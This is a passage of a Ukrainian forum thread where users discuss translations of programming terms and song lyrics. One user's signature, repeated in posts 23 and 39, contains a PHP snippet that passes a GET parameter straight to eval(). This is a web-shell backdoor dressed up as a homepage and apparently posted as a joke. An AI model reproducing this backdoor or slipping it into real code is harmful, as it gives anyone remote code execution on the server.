21

Re: Як перекласти на українську

Філософія, яка працює з коробочки.

22

Re: Як перекласти на українську

Як на мене - "філософія доданих батарейок", "філософія включених батарейок" чи "філософія вкомплектованих батарейок". Бо ми ж не кажемо "день відкриті двері", а кажемо "день відкритих дверей".

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

23

Re: Як перекласти на українську

Referential integrity. Ссылочная целостность — круто, посилальна цілістність ні.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

24

Re: Як перекласти на українську

Цілісність посилань

Подякували: Vo_Vik, Invader2

25

Re: Як перекласти на українську

мені хтось перекладе це все, чи треба, аби я спочатку сам спробував, а потім ви мені допоможите?

Прихований текст
Pry the darkness from my eyes.
Divided, let the light seep in.
Trees devoid of branches, and hollow hives,
Endless black and empty beds.

It's not the same, something's changed.
I never used to be able to see past the trees.
A thousand unfamiliars are lying thick on the air and I can't breathe.

Is our skin to keep the world out or our bodies in?
This doesn't look like home.
Is our skin to keep the world out or our bodies in?
I'll tear apart the town then sleep, and sleep alone.

If I'm a flame, I'm a forest fire speaking savage tongues as I emerge from the hills.
I am an avalanche. I am unchained. I'm awoken. I'll unleash hell.
So I roar, pin back my ears, and stone by stone I'll tear it all apart.

I've lost faith, the forest's changed.
My stomach's empty I'm feeling faint.
I've lost heart, the forest's scarred.
I hear no birds, just tv's and cars.
I've lost sight, the forest's died.
The brambles are bare, and I'm hollow inside.

Each breath rattles like dice in my chest,
Each breath gambled, unwinding til death.

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

26 Востаннє редагувалося 0xDADA11C7 (14.09.2014 04:52:17)

Re: Як перекласти на українську

Висмикни темряву з моїх очей.
Одділяючи, нехай туди просочиться світло.
Дерева без гілок і порожні вулики,
Безкінечна темрява і порожні ліжка.

Це не те саме, щось змінилося.
Я не міг бачити того, що за деревами.
Тисячі незнайомців лежать просто неба і я задихаюся.

Чи наша шкіра удержує нас од всесвіту чи наші тіла в ньому?
Це не схоже на хату.
Чи наша шкіра удержує нас од всесвіту чи наші тіла в ньому?
Я розірву місто а потім завалюся спати, дрімати наодиці.

Якщо я полум’я, то я лісова пожежа, що мовить дикими язиками про вихід з пагорбів,
Я лавина. Я розкуте. Я прокинулося. Я одчинило пекло.
Коли я ричу, аж закладає вуха і троще все - скеля за скелею.

Я втратило віру, ліс змінився.
Мої зуби поржні й мені зле.
Я втратило серце, ліс у згарищах.
Я не чую птахів, тіки телебачення й авта.
Я осліпло, ліс помер.
Ожина гола і я спорожніло.

Кажен подих, немов грюкіт кісток у моїх грудях,
Кажен подих розіграний аж до самої смерті.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: FakiNyan1

27

Re: Як перекласти на українську

я по-приколу теж перекладу...

Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж

28

Re: Як перекласти на українську

ну, короче, тут є трохи відсебятини...


Вирви пітьму з моїх очей
Відриваючи, дозволь світлу проникнути в них
Дерева позбавлені гілок і впалі дупла
Нескінченна чорнота і порожні ліжка
Тут щось не те, щось змінилось.
Я ніколи не мав можливості бачити минуле дерев
Тисяча незнайомнців густо лежать в повітрі і я не можу дихати
Чи наша шкіра тримає світ ззовні чи наші тіла в ньому?
Це не схоже на дім
Чи наша шкіра тримає світ ззовні чи наші тіла в ньому?
Я розірву місто, потім засну і спатиму сам
Якщо я полум'я, я ліс вогню, що говорить дикими язиками, ніби я виринув з пагорбів
Я лавина. Я нестримний. Я пробуджений. Я випущу пекло.
Я реву, припніть назад мої вуха, і каменем за каменем я розірву це все на шматки
Я втратив віру, ліси змінені
Мій шлунок порожній, я відчуваю порожнечу
Я втратив серце, ліси зрубані
Я не чую птахів, лише телевізори й автомобілі
Я втратив зір, ліси мертві
Ожина оголена і я впалий всередині
Кожне дихання тріщить як кістки в грудях
Кожне дихання ризикувало, приближуючи до смерті

останній рядок найважчий, тут є якась гра слів, але я не змогла її точно передати українською, тому хай буде так

Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж
Подякували: FakiNyan1

29 Востаннє редагувалося FakiNyan (29.08.2014 22:44:18)

Re: Як перекласти на українську

Ну раз ви не проти, то перекладіть ще ось це, будь-ласочка

Прихований текст
I walked across an empty land,
I knew the pathway like the back of my hand.
I felt the earth beneath my feet,
Sat by the river and it made me complete.

Oh, simple thing, where have you gone?
I'm getting old and I need something to rely on.
So tell me when you're gonna let me in,
I'm getting tired and I need somewhere to begin.

I came across a fallen tree,
I felt the branches of it looking at me.
Is this the place we used to love?
Is this the place that I've been dreaming of?

Oh, simple thing, where have you gone?
I'm getting old and I need something to rely on.
So tell me when you're gonna let me in,
I'm getting tired and I need somewhere to begin.

So if you have a minute why don't we go,
Talk about it somewhere only we know?
This could be the end of everything.
So why don't we go, somewhere only we know,
Somewhere only we know.

Oh, simple thing, where have you gone?
I'm getting old and I need something to rely on.
So, tell me when you gonna let me in,
I'm getting tired and I need somewhere to begin.
So if you have a minute why don't we go,
Talk about it somewhere only we know?
This could be the end of everything.
So why don't we go, so why don't we go,

Hmmm yeah,

This could be the end of everything.
So why don't we go, somewhere only we know,
Somewhere only we know?
Somewhere only we know.

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

30

Re: Як перекласти на українську

FakiNyan написав:

Ну раз ви не проти, то перекладіть ще ось це, будь-ласочка

Прихований текст
I walked across an empty land,
I knew the pathway like the back of my hand.
I felt the earth beneath my feet,
Sat by the river and it made me complete.

Oh, simple thing, where have you gone?
I'm getting old and I need something to rely on.
So tell me when you're gonna let me in,
I'm getting tired and I need somewhere to begin.

I came across a fallen tree,
I felt the branches of it looking at me.
Is this the place we used to love?
Is this the place that I've been dreaming of?

Oh, simple thing, where have you gone?
I'm getting old and I need something to rely on.
So tell me when you're gonna let me in,
I'm getting tired and I need somewhere to begin.

So if you have a minute why don't we go,
Talk about it somewhere only we know?
This could be the end of everything.
So why don't we go, somewhere only we know,
Somewhere only we know.

Oh, simple thing, where have you gone?
I'm getting old and I need something to rely on.
So, tell me when you gonna let me in,
I'm getting tired and I need somewhere to begin.
So if you have a minute why don't we go,
Talk about it somewhere only we know?
This could be the end of everything.
So why don't we go, so why don't we go,

Hmmm yeah,

This could be the end of everything.
So why don't we go, somewhere only we know,
Somewhere only we know?
Somewhere only we know.


noр

Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж
Подякували: FakiNyan1

31

Re: Як перекласти на українську

Cyan написала:
FakiNyan написав:

Ну раз ви не проти, то перекладіть ще ось це, будь-ласочка

Прихований текст
I walked across an empty land,
I knew the pathway like the back of my hand.
I felt the earth beneath my feet,
Sat by the river and it made me complete.

Oh, simple thing, where have you gone?
I'm getting old and I need something to rely on.
So tell me when you're gonna let me in,
I'm getting tired and I need somewhere to begin.

I came across a fallen tree,
I felt the branches of it looking at me.
Is this the place we used to love?
Is this the place that I've been dreaming of?

Oh, simple thing, where have you gone?
I'm getting old and I need something to rely on.
So tell me when you're gonna let me in,
I'm getting tired and I need somewhere to begin.

So if you have a minute why don't we go,
Talk about it somewhere only we know?
This could be the end of everything.
So why don't we go, somewhere only we know,
Somewhere only we know.

Oh, simple thing, where have you gone?
I'm getting old and I need something to rely on.
So, tell me when you gonna let me in,
I'm getting tired and I need somewhere to begin.
So if you have a minute why don't we go,
Talk about it somewhere only we know?
This could be the end of everything.
So why don't we go, so why don't we go,

Hmmm yeah,

This could be the end of everything.
So why don't we go, somewhere only we know,
Somewhere only we know?
Somewhere only we know.


noр

фу, я думав, там щось файне, а там якась фігня про дівку

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

32

Re: Як перекласти на українську

ніхто не бажає перекласти?

Прихований текст
how can i seal this void
sucking me dry
it hurts to breathe
growing inside

i have never felt so lost without my fears
delusions that made me believe
that time won't last forever

we fling ourselves away
to settle for
these deceptive lives
but everything we need
was right before
our unwilling eyes

bridges beneath
did not last enough
to lead us further
don't plead us to go on

something good to die for
something good to live for
it's all in your head
how much are you willing to share
do you still believe
that everything is as they
told you
this gleaming void will tell you everything you'd like to hear
it whispers silently violently anything to keep you numb
but time won't last forever

just like before
you stay away from the light
just like before
there's no meaning in any word
it doesn't matter how much you've heard
there's no meaning in any word

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

33

Re: Як перекласти на українську

і знову відсебятенний переклад



як мені змогти прокрастись крізь цю порожнечу
що засмоктує мене насухо
боляче, коли подих
наростає всередині

я ніколи не відчував себе таким загубленим без своїх страхів
обман, що змусив мене повірити,
що час не буде тривати вічно

ми самі відкинули себе подалі,
щоб погодитись на
ці оманливі життя,
але все що нам потрібно
було прямо перед
нашими охочими очима

мости внизу
не протримаються достатньо,
щоб вести нас далі
нам не судилось продовжувати йти до

чогось хорошого, щоб померти за це
чогось хорошого, щоб жити заради цього
це все в твоїй голові
наскільки ти спроможний поділитись
чи ти досі віриш
що все так як вони
тобі розповіли
ця каламутна порожнеча розповість тобі все, що ти хотів би почути
це шепотом тихо й нестримно про щозавгодно, щоб утримати тебе заціпенілим
але час не буде тривати вічно

як і раніше
ти стоїш подалі від світла
як і раніше
тут немає сенсу в жодному слові
немає значення скільки ти почув
тут немає сенсу в жодному слові

Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж
Подякували: 0xDADA11C7, FakiNyan2

34

Re: Як перекласти на українську

Прихований текст

Cyan написала:

і знову відсебятенний переклад



як мені змогти прокрастись крізь цю порожнечу
що засмоктує мене насухо
боляче, коли подих
наростає всередині

я ніколи не відчував себе таким загубленим без своїх страхів
обман, що змусив мене повірити,
що час не буде тривати вічно

ми самі відкинули себе подалі,
щоб погодитись на
ці оманливі життя,
але все що нам потрібно
було прямо перед
нашими охочими очима

мости внизу
не протримаються достатньо,
щоб вести нас далі
нам не судилось продовжувати йти до

чогось хорошого, щоб померти за це
чогось хорошого, щоб жити заради цього
це все в твоїй голові
наскільки ти спроможний поділитись
чи ти досі віриш
що все так як вони
тобі розповіли
ця каламутна порожнеча розповість тобі все, що ти хотів би почути
це шепотом тихо й нестримно про щозавгодно, щоб утримати тебе заціпенілим
але час не буде тривати вічно

як і раніше
ти стоїш подалі від світла
як і раніше
тут немає сенсу в жодному слові
немає значення скільки ти почув
тут немає сенсу в жодному слові

А що ви робили так пізно? Невже читали специфічну мангу?

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

35

Re: Як перекласти на українську

FakiNyan написав:
Прихований текст
А що ви робили так пізно? Невже читали специфічну мангу?
Прихований текст
сатану викликала, лол
Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж

36

Re: Як перекласти на українську

Cyan написала:
FakiNyan написав:
Прихований текст
А що ви робили так пізно? Невже читали специфічну мангу?
Прихований текст
сатану викликала, лол
Прихований текст
і як пройшло?
All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

37

Re: Як перекласти на українську

FakiNyan написав:
Cyan написала:
FakiNyan написав:
Прихований текст
А що ви робили так пізно? Невже читали специфічну мангу?
Прихований текст
сатану викликала, лол
Прихований текст
і як пройшло?
Прихований текст
забрав мої пєчєньки і навіть не попрощався, коли пішов :с
Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж

38

Re: Як перекласти на українську

This is not English, but noob language.
Це не англійська мова, а мова "нубів".

who m.d.

39

Re: Як перекласти на українську

Superglobal. Суперглобальний чи супер-глобальний.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

40 Востаннє редагувалося 0xDADA11C7 (09.10.2014 18:28:23)

Re: Як перекласти на українську

Я за суперглобальний, не дивлячись на чинний правопис, бо він радить писати абищо разом, проте будь-що через рисочку.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»